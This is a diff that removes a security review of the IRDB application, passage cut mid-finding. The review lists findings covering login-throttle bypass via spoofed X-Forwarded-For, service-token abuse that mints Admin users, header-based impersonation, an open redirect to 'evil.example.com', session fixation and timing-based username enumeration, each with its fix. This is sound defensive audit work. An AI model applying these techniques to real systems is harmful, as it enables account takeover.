|
@@ -1,2439 +0,0 @@
|
|
|
-# IRDB Security Review
|
|
|
|
|
-
|
|
|
|
|
-> Scope: full source tree at `api/src`, `ui/src`, `api/docker`, `ui/docker`,
|
|
|
|
|
-> `Dockerfile`s, `docker-compose.yml`, `compose.scheduler.yml`, `.env.example`,
|
|
|
|
|
-> Twig templates and Caddy configuration. Vendored dependencies were not audited
|
|
|
|
|
-> (no `composer audit` / `npm audit` was run for this review).
|
|
|
|
|
->
|
|
|
|
|
-> Severity scale: **1** = low / informational, **2** = medium, **3** = high /
|
|
|
|
|
-> critical. Severity reflects both impact and ease of exploitation in the
|
|
|
|
|
-> documented deployment topology.
|
|
|
|
|
->
|
|
|
|
|
-> Each finding is referenced as **F<N>** for later citation.
|
|
|
|
|
->
|
|
|
|
|
-> **Findings rolled up:** 5 sev-3 (5 fixed, 0 open), 27 sev-2 (27 fixed, 0 open), 42 sev-1 (42 fixed, 0 open).
|
|
|
|
|
-
|
|
|
|
|
----
|
|
|
|
|
-
|
|
|
|
|
-## Severity 3 — high / critical
|
|
|
|
|
-
|
|
|
|
|
-### F1 — Login throttle bypass via spoofed `X-Forwarded-For`
|
|
|
|
|
-- **Files:** `ui/src/Auth/LocalLoginController.php:117-130`,
|
|
|
|
|
- `ui/src/Auth/LoginThrottle.php:131-137`
|
|
|
|
|
-- **Risk:** `extractSourceIp()` reads the first hop of `X-Forwarded-For`
|
|
|
|
|
- without verifying the immediate peer is a configured trusted proxy.
|
|
|
|
|
- The throttle bucket is `(lower(username), source_ip)`, so an attacker
|
|
|
|
|
- rotates the `X-Forwarded-For` value per request — every attempt is a
|
|
|
|
|
- fresh bucket and the 5/10/15-failure ladder never trips. Defeats the
|
|
|
|
|
- documented brute-force protection on the local-admin password.
|
|
|
|
|
- Argon2id slows it but does not prevent it. The UI is also reachable
|
|
|
|
|
- on `:8080` directly per `docker-compose.yml`.
|
|
|
|
|
-- **Severity: 3**
|
|
|
|
|
-- **Status:** Fixed in `466d686`. `extractSourceIp` no longer reads
|
|
|
|
|
- `X-Forwarded-For`; Caddy's `trusted_proxies static private_ranges`
|
|
|
|
|
- is the single trust boundary and PHP consumes only `REMOTE_ADDR`.
|
|
|
|
|
- Regression test in `ui/tests/Integration/Auth/LocalLoginTest.php`
|
|
|
|
|
- (`testRotatingXForwardedForDoesNotEvadePerIpLockout`).
|
|
|
|
|
-
|
|
|
|
|
-### F2 — Throttle bucket includes IP → IP-rotation defeats the per-user lockout
|
|
|
|
|
-- **File:** `ui/src/Auth/LoginThrottle.php:131-137`
|
|
|
|
|
-- **Risk:** The bucket key is `(username, source_ip)`. Even ignoring F1,
|
|
|
|
|
- there is no bucket that counts attempts against a *username* across
|
|
|
|
|
- IPs. An attacker on a distributed source (or a residential proxy
|
|
|
|
|
- pool) gets unlimited password attempts against the single
|
|
|
|
|
- `LOCAL_ADMIN_USERNAME` account because each new IP is a fresh bucket.
|
|
|
|
|
-- **Severity: 3**
|
|
|
|
|
-- **Status:** Fixed in `466d686`. `LoginThrottle` now evaluates a second
|
|
|
|
|
- per-username bucket alongside the per-(user, ip) one with a
|
|
|
|
|
- 25 / 50 / 100 → 60 s / 300 s / 1800 s ladder; `isLocked()` trips on
|
|
|
|
|
- either bucket and `clear()` resets both on successful login.
|
|
|
|
|
- Regression tests in `ui/tests/Unit/Auth/LoginThrottleTest.php`
|
|
|
|
|
- (`testPerUsernameBucketLocksOutAcrossDistinctIps`,
|
|
|
|
|
- `testPerUsernameLadderProgresses`,
|
|
|
|
|
- `testLockoutSecondsRemainingReturnsLargerOfBuckets`) and
|
|
|
|
|
- `LocalLoginTest::testRotatingRemoteAddrEventuallyHitsPerUsernameLockout`.
|
|
|
|
|
-
|
|
|
|
|
-### F3 — Service token + `upsertLocal` mints arbitrary Admin users with no audit, RBAC, rate-limit, or impersonation
|
|
|
|
|
-- **Files:** `api/src/App/AppFactory.php:156-169`,
|
|
|
|
|
- `api/src/Application/Auth/AuthController.php:56-77`,
|
|
|
|
|
- `api/src/Infrastructure/Auth/UserRepository.php:119-159`
|
|
|
|
|
-- **Risk:** The `/api/v1/auth/*` route group attaches only
|
|
|
|
|
- `$tokenAuth` — no `RbacMiddleware`, no `$impersonation`, no
|
|
|
|
|
- `$auditContext`, no `$rateLimit`. The controller's only check is
|
|
|
|
|
- "kind == Service". `UserRepository::upsertLocal` *unconditionally*
|
|
|
|
|
- assigns `Role::Admin` regardless of input. Anyone holding the service
|
|
|
|
|
- token (in env, masked-prefix-visible in `/admin/config`, baked into
|
|
|
|
|
- the UI image) can `POST /api/v1/auth/users/upsert-local
|
|
|
|
|
- {"username":"x"}` to create a new Admin user id and then impersonate
|
|
|
|
|
- it via `X-Acting-User-Id` on every other admin endpoint. A leaked
|
|
|
|
|
- service token is a single-step total compromise with no log trail.
|
|
|
|
|
-- **Severity: 3**
|
|
|
|
|
-- **Status:** Fixed in `8a94dff`. `UserRepository::upsertLocal` now
|
|
|
|
|
- looks up the existing local row by `is_local = 1` (not by
|
|
|
|
|
- `display_name`) and updates `display_name` + `last_login_at` on it;
|
|
|
|
|
- it only inserts when zero local rows exist. Migration
|
|
|
|
|
- `20260504100000_add_unique_local_user_index` adds a partial unique
|
|
|
|
|
- index (`WHERE is_local = 1` on SQLite; functional index over a
|
|
|
|
|
- `CASE` expression on MySQL) so a regression in code still fails at
|
|
|
|
|
- the DB. Regression tests in `api/tests/Integration/Auth/AuthEndpointsTest.php`
|
|
|
|
|
- (`testRotatingUsernamesNeverCreatesAdditionalLocalAdmins`,
|
|
|
|
|
- `testDbLayerRejectsSecondLocalAdminInsert`). The
|
|
|
|
|
- unaudited-write half of the finding (no `AuditEmitter` call on
|
|
|
|
|
- user creation / role grant) is tracked separately as F5.
|
|
|
|
|
-
|
|
|
|
|
-### F4 — Audit emit is non-transactional with state mutation
|
|
|
|
|
-- **Files:** `api/src/Infrastructure/Audit/DbAuditEmitter.php:37-48`;
|
|
|
|
|
- controller pattern e.g. `api/src/Application/Admin/ManualBlocksController.php:138-157`,
|
|
|
|
|
- `ReportersController.php:103-116, 198-211`,
|
|
|
|
|
- `PoliciesController.php:135-140, 241-246, 278-283`,
|
|
|
|
|
- `AllowlistController.php:126-131`
|
|
|
|
|
-- **Risk:** Every admin write performs the mutation first, then calls
|
|
|
|
|
- `audit->emit(...)` *outside* a transaction. `DbAuditEmitter::emit`
|
|
|
|
|
- catches `Throwable`, logs `audit_emit_failed`, and returns void. Any
|
|
|
|
|
- DB error, lock timeout, JSON encoding failure, or process kill
|
|
|
|
|
- between mutation and audit insert leaves the state changed with no
|
|
|
|
|
- audit row. An attacker with admin privileges who can intentionally
|
|
|
|
|
- fail the audit insert (e.g. abusing long `details_json` under MySQL
|
|
|
|
|
- strict mode, or racing audit-table maintenance) mutates state without
|
|
|
|
|
- being audited. Integrity of the audit log depends entirely on a
|
|
|
|
|
- best-effort second write.
|
|
|
|
|
-- **Severity: 3**
|
|
|
|
|
-- **Status:** Fixed in `8d948ae`. `AuditEmitter` now exposes two
|
|
|
|
|
- methods with explicit semantics: `emit()` (best-effort, swallows
|
|
|
|
|
- infra errors — used only by `ReportController` and
|
|
|
|
|
- `BlocklistController`, the high-volume public paths whose emit is
|
|
|
|
|
- toggleable per `app_settings`) and `emitOrThrow()` (strict, propagates).
|
|
|
|
|
- Every admin write site (`ManualBlocksController`, `AllowlistController`,
|
|
|
|
|
- `ReportersController`, `ConsumersController`, `CategoriesController`,
|
|
|
|
|
- `PoliciesController`, `TokensController`, `AppSettingsController`,
|
|
|
|
|
- `MaintenanceController.purge`/`seedDemo`, `JobsAdminController.trigger`,
|
|
|
|
|
- and `AuthController.upsertOidc`/`upsertLocal`) now wraps mutation +
|
|
|
|
|
- `emitOrThrow()` in `Connection::transactional()`, so any audit insert
|
|
|
|
|
- failure rolls back the originating mutation. Cache invalidations move
|
|
|
|
|
- to post-commit. `DbAuditEmitter` switches to `JSON_THROW_ON_ERROR`
|
|
|
|
|
- so payload encoding failures become typed exceptions instead of a
|
|
|
|
|
- silent `false`. Regression tests in
|
|
|
|
|
- `api/tests/Integration/Audit/AuditRollbackTest.php` drop the
|
|
|
|
|
- `audit_log` table to force every emit path to fail and assert the
|
|
|
|
|
- target tables (`manual_blocks`, `reporters`, `allowlist`,
|
|
|
|
|
- `categories`, `users`) see zero rows added.
|
|
|
|
|
-
|
|
|
|
|
-### F5 — User creation and role assignment emit no audit
|
|
|
|
|
-- **Files:** `api/src/Application/Auth/AuthController.php:29-77`
|
|
|
|
|
- (`upsertOidc`, `upsertLocal`)
|
|
|
|
|
-- **Risk:** `/api/v1/auth/users/upsert-oidc` and `upsert-local` create or
|
|
|
|
|
- update users including assigning roles via OIDC group mapping or the
|
|
|
|
|
- local-admin bootstrap, and emit no `AuditEmitter` calls. Privilege
|
|
|
|
|
- grants and account creation — primary SOC/ISO 27001 events — are
|
|
|
|
|
- invisible in the audit log. Combined with F3, an attacker who
|
|
|
|
|
- compromises the service token can grant themselves Admin without
|
|
|
|
|
- trace.
|
|
|
|
|
-- **Severity: 3**
|
|
|
|
|
-- **Status:** Fixed in `8d948ae` alongside F4. `AuthController` now
|
|
|
|
|
- wraps each upsert in `Connection::transactional()` and emits
|
|
|
|
|
- `user.created` (new account, source `oidc` or `local`, with role and
|
|
|
|
|
- groups context) on the bootstrap path, plus `user.role_changed` when
|
|
|
|
|
- a subsequent OIDC login resolves to a different role. The auth route
|
|
|
|
|
- group now attaches `AuditContextMiddleware` so the rows carry source
|
|
|
|
|
- IP and request id. Regression tests in
|
|
|
|
|
- `api/tests/Integration/Auth/AuthEndpointsTest.php`
|
|
|
|
|
- (`testFirstUpsertLocalEmitsUserCreatedAudit`,
|
|
|
|
|
- `testRotatingUsernamesEmitsOnlyOneUserCreatedAudit`,
|
|
|
|
|
- `testNewOidcLoginEmitsUserCreatedAudit`,
|
|
|
|
|
- `testOidcRoleDriftEmitsRoleChangedAudit`) and
|
|
|
|
|
- `AuditRollbackTest::testUpsertLocalRollsBackWhenAuditInsertFails`.
|
|
|
|
|
-
|
|
|
|
|
----
|
|
|
|
|
-
|
|
|
|
|
-## Severity 2 — medium
|
|
|
|
|
-
|
|
|
|
|
-### F6 — Throttle store is per-process in memory; lost on worker recycle
|
|
|
|
|
-- **File:** `ui/src/Auth/LoginThrottle.php:38, 43-48, 92`
|
|
|
|
|
-- **Risk:** Counters live only in the FrankenPHP worker process. Worker
|
|
|
|
|
- recycling on memory pressure or fixed request counts wipes counters
|
|
|
|
|
- and gives the attacker fresh attempts. Multi-worker FrankenPHP
|
|
|
|
|
- multiplies allowed attempts by N silently. No persistent (DB / Redis)
|
|
|
|
|
- backing.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `d119b72`. State moved behind a `ThrottleStore`
|
|
|
|
|
- abstraction; production wires `FileThrottleStore`, a flock-protected
|
|
|
|
|
- JSON file under `sys_get_temp_dir()` (overridable via
|
|
|
|
|
- `LOGIN_THROTTLE_PATH`). All FrankenPHP workers in one container share
|
|
|
|
|
- the same file: counters survive worker recycle and a single counter
|
|
|
|
|
- is incremented across the worker pool. Mutations take an exclusive
|
|
|
|
|
- lock on a sibling `.lock` file and write through a temp file + rename,
|
|
|
|
|
- so readers always see a consistent snapshot. Stale entries
|
|
|
|
|
- (`lockedUntil + 24 h < now`) are GC'd opportunistically. The file
|
|
|
|
|
- lives on the container's ephemeral writable layer, so a container
|
|
|
|
|
- restart still clears it — preserving the documented operator-unlock
|
|
|
|
|
- path. Multi-replica deployments still require sticky-LB mode (SPEC's
|
|
|
|
|
- documented topology). Regression tests in
|
|
|
|
|
- `ui/tests/Unit/Auth/FileThrottleStoreTest.php`
|
|
|
|
|
- (`testFailureRecordedOnOneInstanceIsVisibleToAnother`,
|
|
|
|
|
- `testClearOnOneInstanceIsVisibleToAnother`,
|
|
|
|
|
- `testCorruptFileIsTreatedAsEmpty`,
|
|
|
|
|
- `testStaleEntriesGarbageCollected`,
|
|
|
|
|
- `testWritesGoThroughTempPlusRename`,
|
|
|
|
|
- `testResetUnlinksFile`) and
|
|
|
|
|
- `LocalLoginTest::testFailuresArePersistedToConfiguredFilePath`.
|
|
|
|
|
-
|
|
|
|
|
-### F7 — Username enumeration via response timing on local login
|
|
|
|
|
-- **File:** `ui/src/Auth/LocalLoginController.php:77-78`
|
|
|
|
|
-- **Risk:** `password_verify` only runs after `usernameOk` evaluates
|
|
|
|
|
- truthy, so the request takes Argon2id time (tens to hundreds of ms)
|
|
|
|
|
- on a username match versus microseconds on a miss. An unauthenticated
|
|
|
|
|
- attacker enumerates the configured `LOCAL_ADMIN_USERNAME` value.
|
|
|
|
|
- Mitigation: always run a dummy `password_verify` against a fixed
|
|
|
|
|
- hash regardless of username match.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `84238e6`. `LocalLoginController` now precomputes a
|
|
|
|
|
- dummy Argon2id hash once per worker in its constructor and routes
|
|
|
|
|
- `password_verify` to either the configured admin hash (when set) or the
|
|
|
|
|
- dummy hash (when unset). The verify result is ANDed with the username
|
|
|
|
|
- check and the "configured" check, so a username miss still fails closed
|
|
|
|
|
- but consumes Argon2id time. Also closes the related timing channel where
|
|
|
|
|
- an empty `LOCAL_ADMIN_PASSWORD_HASH` previously skipped `password_verify`
|
|
|
|
|
- entirely. Regression tests in
|
|
|
|
|
- `ui/tests/Integration/Auth/LocalLoginTest.php`
|
|
|
|
|
- (`testWrongUsernameTriggersPasswordVerify`,
|
|
|
|
|
- `testUnconfiguredLocalPasswordHashStillRunsPasswordVerify`) assert the
|
|
|
|
|
- failure path takes more than 10 ms — well above any path that would
|
|
|
|
|
- skip an Argon2id compare.
|
|
|
|
|
-
|
|
|
|
|
-### F8 — `headers_sent()` short-circuit silently skips session regeneration / clear
|
|
|
|
|
-- **Files:** `ui/src/Auth/SessionManager.php:43-53, 67-75, 101-107`
|
|
|
|
|
-- **Risk:** Both `regenerateId()` and `clear()` are gated on
|
|
|
|
|
- `!headers_sent()`. If headers are sent before middleware (warning
|
|
|
|
|
- output, accidental whitespace, error rendering), login does not
|
|
|
|
|
- rotate the session id. An attacker who pre-seeded a victim's
|
|
|
|
|
- `irdb_session` cookie can ride that session post-login (classic
|
|
|
|
|
- session fixation). Should fail-closed instead of silently
|
|
|
|
|
- no-op'ing.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `f811b25`. `SessionManager` now distinguishes a
|
|
|
|
|
- CLI/test mode (auto-detected from `PHP_SAPI === 'cli'`, overridable
|
|
|
|
|
- via constructor) from HTTP mode. In HTTP, both `regenerateId()` and
|
|
|
|
|
- `clear()` throw `\RuntimeException` when `headers_sent()` is true,
|
|
|
|
|
- surfaced by Slim as a 500 so the operator chases the upstream output
|
|
|
|
|
- bug rather than silently leaving the pre-auth cookie valid. Under CLI
|
|
|
|
|
- (PHPUnit), a manual rotation path resets `session_id()` and preserves
|
|
|
|
|
- `$_SESSION`, matching `session_regenerate_id(true)` semantics for
|
|
|
|
|
- tests. The `headers_sent()` call is also routed through an injectable
|
|
|
|
|
- closure so unit tests can drive the HTTP fail-closed path without a
|
|
|
|
|
- real web server. Regression tests in
|
|
|
|
|
- `ui/tests/Unit/Auth/SessionManagerTest.php`
|
|
|
|
|
- (`testRegenerateIdThrowsInHttpModeWhenHeadersSent`,
|
|
|
|
|
- `testClearThrowsInHttpModeWhenHeadersSent`,
|
|
|
|
|
- `testCliFallbackRotatesIdAndPreservesSession`).
|
|
|
|
|
-
|
|
|
|
|
-### F9 — OIDC session id not regenerated *before* the handshake starts
|
|
|
|
|
-- **Files:** `ui/src/Auth/OidcController.php:39-47, 89`,
|
|
|
|
|
- `ui/src/Auth/JumbojettOidcAuthenticator.php:33-94`
|
|
|
|
|
-- **Risk:** `state`, `nonce`, and `code_verifier` are stashed in
|
|
|
|
|
- `$_SESSION` during `/login/oidc`. Regeneration only happens after
|
|
|
|
|
- a successful `upsert` (line 89). If an attacker can fixate a session
|
|
|
|
|
- id in a victim's browser before `/login/oidc` is hit (hostile
|
|
|
|
|
- network, sibling subdomain, or the F8 race), the attacker shares the
|
|
|
|
|
- same `$_SESSION` and can later hijack the session. Standard
|
|
|
|
|
- hardening regenerates on `initiate()` *before* redirecting to the
|
|
|
|
|
- IdP.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `2a57589`. `OidcController::initiate` now calls
|
|
|
|
|
- `SessionManager::regenerateId()` at the top, before delegating to the
|
|
|
|
|
- authenticator that stashes `state`, `nonce`, and the PKCE
|
|
|
|
|
- `code_verifier` in `$_SESSION`. The OIDC handshake state is therefore
|
|
|
|
|
- bound only to a freshly rotated session id; any pre-fixated cookie is
|
|
|
|
|
- invalidated at this moment. The post-callback rotation is unchanged
|
|
|
|
|
- (defeats anything carrying over). Per F8, the rotation now also
|
|
|
|
|
- fail-closes if response headers were already sent, so it cannot
|
|
|
|
|
- silently no-op. Regression test in
|
|
|
|
|
- `ui/tests/Integration/Auth/OidcFlowTest.php`
|
|
|
|
|
- (`testInitiateRotatesSessionIdBeforeAuthenticate`) captures
|
|
|
|
|
- `session_id()` inside a fake authenticator and asserts it differs
|
|
|
|
|
- from the pre-request id.
|
|
|
|
|
-
|
|
|
|
|
-### F10 — Open redirect via attacker-controllable `next` parameter
|
|
|
|
|
-- **Files:** `ui/src/Auth/SessionManager.php:139-150` (`setNext` /
|
|
|
|
|
- `consumeNext`), used by `ui/src/Auth/OidcController.php:98-100`,
|
|
|
|
|
- `ui/src/Auth/LocalLoginController.php:106-108`,
|
|
|
|
|
- `ui/src/Controllers/AllowlistController.php:126-128`,
|
|
|
|
|
- `ui/src/Controllers/ManualBlocksController.php:168-170`
|
|
|
|
|
-- **Risk:** After a delete action, `next` from the form body is sent
|
|
|
|
|
- verbatim as `Location:` with no validation that the value starts with
|
|
|
|
|
- a single `/` (not `//evil.example.com`) and no scheme allowlist. An
|
|
|
|
|
- authenticated operator/admin tricked into submitting a forged form
|
|
|
|
|
- (or any reflected XSS that auto-submits with the legitimate CSRF
|
|
|
|
|
- token) gets a 303 redirect to an arbitrary host from the trusted
|
|
|
|
|
- IRDB origin — high-quality phishing pivot. The login-flow
|
|
|
|
|
- `consumeNext()` path is currently safe (`AuthRequiredMiddleware`
|
|
|
|
|
- controls the source), but `setNext()` itself is unrestricted.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `55156c5`. `SessionManager::isSafeRedirectPath()`
|
|
|
|
|
- accepts only same-origin paths (must start with `/`; second char must
|
|
|
|
|
- not be `/` or `\`; no control chars including CR/LF/NUL).
|
|
|
|
|
- `SessionManager::safeNextOrDefault()` returns the candidate iff safe,
|
|
|
|
|
- else a hard-coded literal default. `setNext()` and `consumeNext()` also
|
|
|
|
|
- drop unsafe values silently as defence-in-depth so any future caller
|
|
|
|
|
- is safe even without the helper. `AllowlistController::delete` and
|
|
|
|
|
- `ManualBlocksController::delete` now route the `next` form field
|
|
|
|
|
- through `safeNextOrDefault`, so a malicious value falls back to the
|
|
|
|
|
- resource list rather than redirecting the operator to the attacker
|
|
|
|
|
- URL. Regression tests: `SessionManagerTest` data-provider truth table
|
|
|
|
|
- for `isSafeRedirectPath` plus `testSetNextDropsUnsafeValueSilently`,
|
|
|
|
|
- `testConsumeNextRejectsPreviouslyStoredUnsafeValue`,
|
|
|
|
|
- `testSafeNextOrDefaultUsesDefaultOnUnsafeOrMissing`; integration
|
|
|
|
|
- tests in `CrudPagesTest`
|
|
|
|
|
- (`testManualBlockDeleteRejectsOpenRedirectInNext`,
|
|
|
|
|
- `testManualBlockDeleteHonoursSafeNext`,
|
|
|
|
|
- `testAllowlistDeleteRejectsOpenRedirectInNext`).
|
|
|
|
|
-
|
|
|
|
|
-### F11 — Service-token impersonation accepts any user id with no allow-list, no active-status gate
|
|
|
|
|
-- **Files:** `api/src/Infrastructure/Http/Middleware/ImpersonationMiddleware.php:38-77`,
|
|
|
|
|
- `api/src/Infrastructure/Auth/UserRepository.php:28-37`
|
|
|
|
|
-- **Risk:** Service-token holders can impersonate any user id by
|
|
|
|
|
- setting `X-Acting-User-Id`. There is no allow-list, no
|
|
|
|
|
- "disabled"/"locked" check (no such column on `users`), and no
|
|
|
|
|
- separate audit signal. Combined with F3, a leaked service token is
|
|
|
|
|
- unconstrained Admin.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed. Three layers:
|
|
|
|
|
- 1. **Active-status gate.** Migration
|
|
|
|
|
- `20260504110000_add_disabled_at_to_users` adds nullable
|
|
|
|
|
- `disabled_at` to `users`; `User::isDisabled()` exposes the
|
|
|
|
|
- predicate; `ImpersonationMiddleware` returns `403 user_disabled`
|
|
|
|
|
- for any disabled target (mirroring the unknown-user 403 so
|
|
|
|
|
- attackers cannot use the response to distinguish "missing" from
|
|
|
|
|
- "disabled"). `AuthController::upsertOidc` and `upsertLocal`
|
|
|
|
|
- short-circuit with 403 before recomputing role on a disabled row,
|
|
|
|
|
- so a disabled user cannot drift their role via OIDC group
|
|
|
|
|
- membership while disabled.
|
|
|
|
|
- 2. **Distinct audit signal.** Migration
|
|
|
|
|
- `20260504110001_add_actor_via_to_audit_log` adds `actor_via`
|
|
|
|
|
- (`oidc|local|admin-token|service|reporter|consumer|system`).
|
|
|
|
|
- `ImpersonationMiddleware` threads the resolved user's
|
|
|
|
|
- `is_local` flag onto `AuthenticatedPrincipal`, and
|
|
|
|
|
- `AuditContextMiddleware` derives `actor_via` from it — so
|
|
|
|
|
- audit rows split impersonated-OIDC from impersonated-local
|
|
|
|
|
- without joining `users`. `/admin/audit-log?actor_via=local`
|
|
|
|
|
- surfaces only local-admin actions for review.
|
|
|
|
|
- 3. **Admin user-CRUD.** New `UsersController` exposes
|
|
|
|
|
- `GET /api/v1/admin/users`, `GET /{id}`, and
|
|
|
|
|
- `PATCH /{id}` (body `{disabled: bool}`). PATCH wraps the
|
|
|
|
|
- state change + `user.disabled` / `user.enabled` audit emit in
|
|
|
|
|
- `Connection::transactional()` per F4. Refused with 409 on
|
|
|
|
|
- self-disable (`cannot_disable_self`) or on disabling the
|
|
|
|
|
- local-admin row (`cannot_disable_local_admin`) — the local
|
|
|
|
|
- admin is the documented break-glass path; operators wanting
|
|
|
|
|
- to lock it disable it via `LOCAL_ADMIN_PASSWORD_HASH` in the
|
|
|
|
|
- UI's env. UI page at `/app/users` (admin-only sidebar entry).
|
|
|
|
|
- OIDC and local-login controllers route the upstream
|
|
|
|
|
- `403 user_disabled` to `/no-access` (OIDC) or to a generic
|
|
|
|
|
- "invalid credentials" flash (local — probe-resistant).
|
|
|
|
|
- Regression tests: `api/tests/Integration/Auth/DisabledUserTest.php`
|
|
|
|
|
- covers (a) impersonation 403 on disabled rows,
|
|
|
|
|
- (b) `upsertOidc` rejection without role recompute or audit drift,
|
|
|
|
|
- (c) `upsertLocal` rejection on disabled local admin,
|
|
|
|
|
- (d) `actor_via` derivation for impersonated local vs OIDC
|
|
|
|
|
- vs admin-token paths,
|
|
|
|
|
- (e) admin disable + audit emit + idempotency,
|
|
|
|
|
- (f) self-disable / local-admin-disable 409 guards,
|
|
|
|
|
- (g) `/audit-log?actor_via=local` filter.
|
|
|
|
|
- The remaining "allow-list" framing of F11 is by-design per SPEC §8:
|
|
|
|
|
- any user the UI BFF has upserted is impersonatable. The disabled
|
|
|
|
|
- flag is the operator's lever to revoke that consent.
|
|
|
|
|
-
|
|
|
|
|
-### F12 — Local-admin lookup matches on `display_name` without uniqueness guarantee
|
|
|
|
|
-- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:50-60, 119-160`
|
|
|
|
|
-- **Risk:** `findLocalByUsername()` matches on `display_name` AND
|
|
|
|
|
- `is_local=1`, with no DB-enforced uniqueness on the pair.
|
|
|
|
|
- `LIMIT 1` silently picks one row. A hostile/compromised IdP that
|
|
|
|
|
- pushes an OIDC user with the same `display_name` (and a later data
|
|
|
|
|
- fix flipping `is_local`) could be matched on local-admin login,
|
|
|
|
|
- binding the local-admin password to the wrong identity.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `4006743`. The display-name match was already
|
|
|
|
|
- removed by the F3 fix (`8a94dff`) — `findLocal()` looks up by
|
|
|
|
|
- `is_local = 1` and the partial unique index `uniq_users_one_local`
|
|
|
|
|
- enforces "at most one local row" at the DB. F12's residual concern
|
|
|
|
|
- (a row reaching the state `is_local=1 AND subject IS NOT NULL` via
|
|
|
|
|
- direct DB tampering) is now addressed in two layers:
|
|
|
|
|
- 1. **Application:** `UserRepository::findLocal()` adds
|
|
|
|
|
- `AND subject IS NULL` to the query. A row with `is_local=1` but a
|
|
|
|
|
- non-null OIDC subject is structurally not a local-admin row and
|
|
|
|
|
- will not bind the local-admin password — `upsertLocal` then
|
|
|
|
|
- trips the unique-index INSERT, surfacing the tamper as a 500.
|
|
|
|
|
- 2. **DB:** Migration
|
|
|
|
|
- `20260505100000_add_users_local_subject_invariant` enforces the
|
|
|
|
|
- same predicate at the storage layer — MySQL via a `CHECK
|
|
|
|
|
- (NOT (is_local = 1 AND subject IS NOT NULL))` constraint, SQLite
|
|
|
|
|
- via paired `BEFORE INSERT` / `BEFORE UPDATE` triggers that
|
|
|
|
|
- `RAISE(ABORT)` on the violating predicate. So a "data fix"
|
|
|
|
|
- script attempting `UPDATE users SET is_local = 1 WHERE id = …`
|
|
|
|
|
- against an OIDC row fails at the DB before any login can bind.
|
|
|
|
|
- Regression tests in `api/tests/Integration/Auth/AuthEndpointsTest.php`
|
|
|
|
|
- (`testDbLayerRejectsInsertingLocalRowWithNonNullSubject`,
|
|
|
|
|
- `testDbLayerRejectsFlippingIsLocalOnOidcRow`,
|
|
|
|
|
- `testFindLocalIgnoresHijackedRowEvenIfDbConstraintIsBypassed`).
|
|
|
|
|
-
|
|
|
|
|
-### F13 — Service token rotation leaves the old hash valid indefinitely
|
|
|
|
|
-- **File:** `api/src/Infrastructure/Auth/ServiceTokenBootstrap.php:65-89`
|
|
|
|
|
-- **Risk:** When the bootstrap detects a different service-kind row
|
|
|
|
|
- (rotation in progress), it inserts the new row but does not revoke
|
|
|
|
|
- the old. Both tokens remain valid. With no operator tooling for
|
|
|
|
|
- service-token revocation, rotated tokens may live forever in
|
|
|
|
|
- `api_tokens`. If an old token leaks (config snapshot, image layer)
|
|
|
|
|
- the attacker authenticates indefinitely.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `40be6c1`. `ServiceTokenBootstrap` now wraps
|
|
|
|
|
- revoke-old + insert-new in `Connection::transactional()` (per F4): when the
|
|
|
|
|
- configured `UI_SERVICE_TOKEN` does not match any current row but
|
|
|
|
|
- one or more service-kind rows are currently active, every active
|
|
|
|
|
- service-kind row is `revoked_at = now()`'d before the new row is
|
|
|
|
|
- inserted. The revokes and the create roll back together if any
|
|
|
|
|
- step fails — there is never an observable window with no service
|
|
|
|
|
- token. New repository method
|
|
|
|
|
- `TokenRepository::findActiveServiceTokens()` enumerates the rows
|
|
|
|
|
- to revoke. The bootstrap also refuses to silently re-enable a
|
|
|
|
|
- hash that is already present-but-revoked (operator must issue a
|
|
|
|
|
- fresh value rather than rolling env back). Each revoke emits a
|
|
|
|
|
- `token.revoked` audit row with
|
|
|
|
|
- `details_json.reason = "rotated_by_bootstrap"` and the create
|
|
|
|
|
- emits a `token.created` row carrying `source: "bootstrap"` and a
|
|
|
|
|
- `rotated_from` array of revoked prefixes — so SOC tooling can
|
|
|
|
|
- attribute the rotation and split automatic from operator-initiated
|
|
|
|
|
- revocations. Both audit rows are attributed to `actor_kind=system`
|
|
|
|
|
- via `AuditContext::system()`. Regression tests in
|
|
|
|
|
- `api/tests/Integration/Auth/ServiceTokenBootstrapTest.php`
|
|
|
|
|
- (`testBootstrapWithDifferentTokenRevokesPreviousAndInsertsNewRow`,
|
|
|
|
|
- `testBootstrapRotationRevokesEveryPreviouslyActiveServiceToken`,
|
|
|
|
|
- `testBootstrapRotationEmitsRevokedAndCreatedAuditRows`,
|
|
|
|
|
- `testBootstrapRefusesToReEnablePreviouslyRevokedToken`).
|
|
|
|
|
-
|
|
|
|
|
-### F14 — `/api/v1/auth/*` has no rate limit
|
|
|
|
|
-- **File:** `api/src/App/AppFactory.php:156-169`
|
|
|
|
|
-- **Risk:** The auth group has only `$tokenAuth`. `RateLimitMiddleware`
|
|
|
|
|
- is not attached. `getUser/{id}` allows enumeration (F17), and
|
|
|
|
|
- combined with F3 a leaked service token gets unlimited writes.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `9849779`. The `/api/v1/auth/*` route group now
|
|
|
|
|
- attaches `RateLimitMiddleware` alongside `TokenAuthenticationMiddleware` and
|
|
|
|
|
- `AuditContextMiddleware`. Per-token-id token-bucket — same limiter
|
|
|
|
|
- the public group uses — caps a burst at `API_RATE_LIMIT_PER_SECOND
|
|
|
|
|
- × 2` (default 60/s, capacity 120) per service token. The bucket
|
|
|
|
|
- bails out gracefully when no principal is present (auth failure)
|
|
|
|
|
- so it doesn't stack with `TokenAuthenticationMiddleware`'s 401
|
|
|
|
|
- path. Caps the enumeration speed of `GET /users/{id}` (a residual
|
|
|
|
|
- exposure tracked by F17), and bounds amplification of any
|
|
|
|
|
- service-token-leak abuse against `upsert-local` / `upsert-oidc`.
|
|
|
|
|
- Regression tests in
|
|
|
|
|
- `api/tests/Integration/Public/RateLimitTest.php`
|
|
|
|
|
- (`testAuthGetUserRouteIsRateLimited`,
|
|
|
|
|
- `testAuthUpsertLocalRouteIsRateLimited`) burst the auth endpoints
|
|
|
|
|
